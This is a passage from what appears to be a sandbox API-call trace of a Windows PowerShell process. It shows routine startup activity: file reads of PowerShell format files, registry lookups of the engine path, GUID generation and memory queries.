lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.024] ReadFile (in: hFile=0x308, lpBuffer=0x33e0328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x33e0328*, lpNumberOfBytesRead=0x24d3b8*=0xfb2, lpOverlapped=0x0) returned 1 [0043.024] ReadFile (in: hFile=0x308, lpBuffer=0x33dfa42, nNumberOfBytesToRead=0x4e, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x33dfa42*, lpNumberOfBytesRead=0x24d3b8*=0x0, lpOverlapped=0x0) returned 1 [0043.024] ReadFile (in: hFile=0x308, lpBuffer=0x33e0328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x33e0328*, lpNumberOfBytesRead=0x24d3b8*=0x0, lpOverlapped=0x0) returned 1 [0043.024] CloseHandle (hObject=0x308) returned 1 [0043.025] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0043.025] SetErrorMode (uMode=0x1) returned 0x1 [0043.025] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d360 | out: lpFileInformation=0x24d360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67f36317, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67f36317, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe6065417, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0043.025] SetErrorMode (uMode=0x1) returned 0x1 [0043.025] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0043.025] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d448 | out: phkResult=0x24d448*=0x308) returned 0x0 [0043.025] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d3cc, lpData=0x0, lpcbData=0x24d3c8*=0x0 | out: lpType=0x24d3cc*=0x1, lpData=0x0, lpcbData=0x24d3c8*=0x56) returned 0x0 [0043.025] CoTaskMemAlloc (cb=0x5a) returned 0x35d030 [0043.025] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d39c, lpData=0x35d030, lpcbData=0x24d398*=0x56 | out: lpType=0x24d39c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d398*=0x56) returned 0x0 [0043.025] CoTaskMemFree (pv=0x35d030) [0043.025] RegCloseKey (hKey=0x308) returned 0x0 [0043.025] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0043.025] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cf40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0043.027] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x67e4b031, Data2=0xa69f, Data3=0x46da, Data4=([0]=0xab, [1]=0x33, [2]=0x2a, [3]=0xbb, [4]=0xce, [5]=0xc4, [6]=0xc0, [7]=0xb5))) returned 0x0 [0043.029] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x879a2b65, Data2=0xdcef, Data3=0x40e6, Data4=([0]=0x93, [1]=0xac, [2]=0x5, [3]=0xa7, [4]=0x14, [5]=0x95, [6]=0x5f, [7]=0xc2))) returned 0x0 [0043.031] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x16508eb0, Data2=0x7dad, Data3=0x42a0, Data4=([0]=0x89, [1]=0x94, [2]=0xc2, [3]=0x98, [4]=0xc0, [5]=0xe6, [6]=0xc2, [7]=0x49))) returned 0x0 [0043.032] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xd15803a, Data2=0x700d, Data3=0x4416, Data4=([0]=0x95, [1]=0xe5, [2]=0x3e, [3]=0x51, [4]=0xd, [5]=0x49, [6]=0xcb, [7]=0xda))) returned 0x0 [0043.032] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x9bc6206, Data2=0xec06, Data3=0x45b4, Data4=([0]=0x8b, [1]=0x2f, [2]=0xd5, [3]=0xd9, [4]=0xa5, [5]=0x2a, [6]=0xf, [7]=0x8))) returned 0x0 [0043.032] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x220e5b74, Data2=0xb75d, Data3=0x4324, Data4=([0]=0x89, [1]=0xa2, [2]=0xd5, [3]=0xd, [4]=0xe0, [5]=0xe, [6]=0xd7, [7]=0x6c))) returned 0x0 [0043.032] SetErrorMode (uMode=0x1) returned 0x1 [0043.032] SetErrorMode (uMode=0x1) returned 0x1 [0043.032] GetFileType (hFile=0x308) returned 0x1 [0043.033] ReadFile (in: hFile=0x308, lpBuffer=0x342c088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x342c088*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.035] ReadFile (in: hFile=0x308, lpBuffer=0x342c088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x342c088*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.035] ReadFile (in: hFile=0x308, lpBuffer=0x342c088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x342c088*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.035] ReadFile (in: hFile=0x308, lpBuffer=0x342c088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x342c088*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.036] ReadFile (in: hFile=0x308, lpBuffer=0x342c088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x342c088*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.036] ReadFile (in: hFile=0x308, lpBuffer=0x342c088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x342c088*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.037] ReadFile (in: hFile=0x308, lpBuffer=0x342c088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x342c088*, lpNumberOfBytesRead=0x24d3b8*=0xaca, lpOverlapped=0x0) returned 1 [0043.037] ReadFile (in: hFile=0x308, lpBuffer=0x342b6ba, nNumberOfBytesToRead=0x136, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x342b6ba*, lpNumberOfBytesRead=0x24d3b8*=0x0, lpOverlapped=0x0) returned 1 [0043.037] ReadFile (in: hFile=0x308, lpBuffer=0x342c088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x342c088*, lpNumberOfBytesRead=0x24d3b8*=0x0, lpOverlapped=0x0) returned 1 [0043.037] SetErrorMode (uMode=0x1) returned 0x1 [0043.037] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d360 | out: lpFileInformation=0x24d360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67ddf6d2, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67ddf6d2, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5dddcd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0043.037] SetErrorMode (uMode=0x1) returned 0x1 [0043.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0043.037] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d448 | out: phkResult=0x24d448*=0x308) returned 0x0 [0043.037] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d3cc, lpData=0x0, lpcbData=0x24d3c8*=0x0 | out: lpType=0x24d3cc*=0x1, lpData=0x0, lpcbData=0x24d3c8*=0x56) returned 0x0 [0043.038] CoTaskMemAlloc (cb=0x5a) returned 0x35d030 [0043.038] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d39c, lpData=0x35d030, lpcbData=0x24d398*=0x56 | out: lpType=0x24d39c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d398*=0x56) returned 0x0 [0043.038] RegCloseKey (hKey=0x308) returned 0x0 [0043.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0043.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cf40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0043.049] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x24c8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0043.053] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0043.057] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x24c8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0043.109] VirtualQuery (in: lpAddress=0x24bee0, lpBuffer=0x24cda0, dwLength=0x30 | out: lpBuffer=0x24cda0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.110] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xe5eca712, Data2=0x21ff, Data3=0x49e2, Data4=([0]=0x9d, [1]=0x47, [2]=0xb, [3]=0xd3, [4]=0x11, [5]=0x3a, [6]=0x80, [7]=0xdf))) returned 0x0 [0043.111] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xfa4780c9, Data2=0x9293, Data3=0x41e3, Data4=([0]=0xa6, [1]=0xbd, [2]=0x10, [3]=0xec, [4]=0x7f, [5]=0x2d, [6]=0x19, [7]=0xa3))) returned 0x0 [0043.112] VirtualQuery (in: lpAddress=0x24c090, lpBuffer=0x24cf50, dwLength=0x30 | out: lpBuffer=0x24cf50*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.113] VirtualQuery (in: lpAddress=0x24c090, lpBuffer=0x24cf50, dwLength=0x30 | out: lpBuffer=0x24cf50*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.113] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x59eb51f3, Data2=0x3e3b, Data3=0x4eb7, Data4=([0]=0xaa, [1]=0x7e, [2]=0xb, [3]=0xc0, [4]=0xbd, [5]=0x1c, [6]=0x84, [7]=0xa6))) returned 0x0 [0043.115] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xa14edb7e, Data2=0xdec5, Data3=0x453d, Data4=([0]=0x88, [1]=0xa8, [2]=0x40, [3]=0xf4, [4]=0x3e, [5]=0xf6, [6]=0x95, [7]=0x63))) returned 0x0 [0043.116] VirtualQuery (in: lpAddress=0x24c2e0, lpBuffer=0x24d1a0, dwLength=0x30 | out: lpBuffer=0x24d1a0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.116] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.116] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.117] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xf958dd7a, Data2=0xc76f, Data3=0x43a2, Data4=([0]=0xb6, [1]=0xa1, [2]=0x30, [3]=0x5f, [4]=0x6a, [5]=0x7b, [6]=0x28, [7]=0x98))) returned 0x0 [0043.117] VirtualQuery (in: lpAddress=0x24c2e0, lpBuffer=0x24d1a0, dwLength=0x30 | out: lpBuffer=0x24d1a0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.117] VirtualQuery (in: lpAddress=0x24c100, lpBuffer=0x24cfc0, dwLength=0x30 | out: lpBuffer=0x24cfc0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.118] VirtualQuery (in: lpAddress=0x24b950, lpBuffer=0x24c810, dwLength=0x30 | out: lpBuffer=0x24c810*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.118] VirtualQuery (in: lpAddress=0x24b950, lpBuffer=0x24c810, dwLength=0x30 | out: lpBuffer=0x24c810*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.118] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xad7f2e72, Data2=0x742, Data3=0x428b, Data4=([0]=0xaf, [1]=0x43, [2]=0xa2, [3]=0xa2, [4]=0x62, [5]=0x77, [6]=0x9f, [7]=0x2b))) returned 0x0 [0043.119] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x85ee77a6, Data2=0x404a, Data3=0x41db, Data4=([0]=0xbe, [1]=0xdd, [2]=0x80, [3]=0x16, [4]=0x6d, [5]=0x76, [6]=0x4e, [7]=0x7e))) returned 0x0 [0043.119] SetErrorMode (uMode=0x1) returned 0x1 [0043.119] SetErrorMode (uMode=0x1) returned 0x1 [0043.119] GetFileType (hFile=0x308) returned 0x1 [0043.120] ReadFile (in: hFile=0x308, lpBuffer=0x34de620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34de620*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.122] ReadFile (in: hFile=0x308, lpBuffer=0x34de620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34de620*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.122] ReadFile (in: hFile=0x308, lpBuffer=0x34de620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34de620*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.122] ReadFile (in: hFile=0x308, lpBuffer=0x34de620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34de620*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.123] ReadFile (in: hFile=0x308, lpBuffer=0x34de620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34de620*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.123] ReadFile (in: hFile=0x308, lpBuffer=0x34de620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34de620*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.123] ReadFile (in: hFile=0x308, lpBuffer=0x34de620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34de620*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.123] ReadFile (in: hFile=0x308, lpBuffer=0x34de620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34de620*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.124] ReadFile (in: hFile=0x308, lpBuffer=0x34de620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34de620*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.124] ReadFile (in: hFile=0x308, lpBuffer=0x34de620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34de620*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.124] ReadFile (in: hFile=0x308, lpBuffer=0x34de620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34de620*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.125] ReadFile (in: hFile=0x308, lpBuffer=0x34de620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34de620*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.125] ReadFile (in: hFile=0x308, lpBuffer=0x34de620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34de620*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.125] ReadFile (in: hFile=0x308, lpBuffer=0x34de620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34de620*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.125] ReadFile (in: hFile=0x308, lpBuffer=0x34de620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34de620*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.125] ReadFile (in: hFile=0x308, lpBuffer=0x34de620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34de620*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.127] ReadFile (in: hFile=0x308, lpBuffer=0x34de620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34de620*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.127] ReadFile (in: hFile=0x308, lpBuffer=0x34de620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34de620*, lpNumberOfBytesRead=0x24d3b8*=0xbce, lpOverlapped=0x0) returned 1 [0043.127] ReadFile (in: hFile=0x308, lpBuffer=0x34ddd56, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34ddd56*, lpNumberOfBytesRead=0x24d3b8*=0x0, lpOverlapped=0x0) returned 1 [0043.127] ReadFile (in: hFile=0x308, lpBuffer=0x34de620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x34de620*, lpNumberOfBytesRead=0x24d3b8*=0x0, lpOverlapped=0x0) returned 1 [0043.127] CloseHandle (hObject=0x308) returned 1 [0043.127] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0043.127] SetErrorMode (uMode=0x1) returned 0x1 [0043.127] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d360 | out: lpFileInformation=0x24d360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e0582f, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e0582f, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e29f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0043.127] SetErrorMode (uMode=0x1) returned 0x1 [0043.127] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0043.128] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d448 | out: phkResult=0x24d448*=0x308) returned 0x0 [0043.128] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d3cc, lpData=0x0, lpcbData=0x24d3c8*=0x0 | out: lpType=0x24d3cc*=0x1, lpData=0x0, lpcbData=0x24d3c8*=0x56) returned 0x0 [0043.128] CoTaskMemAlloc (cb=0x5a) returned 0x1b9c7fe0 [0043.128] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d39c, lpData=0x1b9c7fe0, lpcbData=0x24d398*=0x56 | out: lpType=0x24d39c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d398*=0x56) returned 0x0 [0043.128] CoTaskMemFree (pv=0x1b9c7fe0) [0043.128] RegCloseKey (hKey=0x308) returned 0x0 [0043.128] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0043.128] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cf40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0043.131] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x738fe090, Data2=0x121d, Data3=0x45b6, Data4=([0]=0x90, [1]=0x4e, [2]=0x7, [3]=0xfd, [4]=0x37, [5]=0xa8, [6]=0xc2, [7]=0xbd))) returned 0x0 [0043.132] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xac070b3b, Data2=0x29c7, Data3=0x46e9, Data4=([0]=0x97, [1]=0x2b, [2]=0xeb, [3]=0xc2, [4]=0xbf, [5]=0x22, [6]=0x84, [7]=0xbc))) returned 0x0 [0043.132] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xbf0f75f7, Data2=0x8b5d, Data3=0x4b1d, Data4=([0]=0x9b, [1]=0x1e, [2]=0xea, [3]=0x6d, [4]=0xb, [5]=0xf9, [6]=0x55, [7]=0x8d))) returned 0x0 [0043.133] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xdb2a39f2, Data2=0x9eda, Data3=0x418a, Data4=([0]=0xb3, [1]=0x9b, [2]=0x20, [3]=0xb5, [4]=0x25, [5]=0x35, [6]=0xf5, [7]=0xbf))) returned 0x0 [0043.133] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x490e1d4, Data2=0x8f9f, Data3=0x4276, Data4=([0]=0xb7, [1]=0x2d, [2]=0x72, [3]=0x6c, [4]=0xa6, [5]=0xd, [6]=0x54, [7]=0xf2))) returned 0x0 [0043.133] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x9dce80e3, Data2=0xd8be, Data3=0x4ff0, 